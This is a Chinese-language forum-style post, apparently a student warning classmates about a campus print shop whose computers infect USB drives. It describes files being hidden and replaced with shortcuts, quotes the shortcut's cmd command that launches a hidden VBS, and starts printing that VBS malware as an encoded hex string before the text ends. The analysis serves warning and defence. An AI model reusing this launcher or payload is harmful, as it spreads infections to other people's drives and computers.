《学校打印店 》.pdfVIP

以后去打印店要注意呀、、 就是三食堂楼下的那家。。 昨天去打印店打印作业，打印完之后就没有再往自己电脑上插 U 盘，今天去讲台上复 制PPT 发现中招了。。_ 中招之后的情况是这样的、 所有的文件都变成了 快捷方式，而原始文件都被修改为系统文件 被隐藏了！没有被删除所 以危害并不是特别大。。 随便打开一个被感染的快捷方式 可以发现 快捷方式通过 CMD 运行 U 盘里的 rptbsbdrwa..vbs 并且打来被隐藏的文件 后退出 所以 那个VBS 就应该是 病毒或恶意程序 了 C:\Windows\system32\cmd.exe /c start rptbsbdrwa..vbsstart CUDA.pdfexit 让我们 再 打开那个VBS 看看。。。 要看到那些被隐藏的文件 和那个病毒文件 需要 再文件夹选项里 把这个 选项去掉。 这是我们全部的文件都可以看到了。。 就是他！！！！那个vbs 下边是 恶意文件的 代码： Safa7_22 =273C5B207265636F646572203A20686F7564696E692028632920736B797065203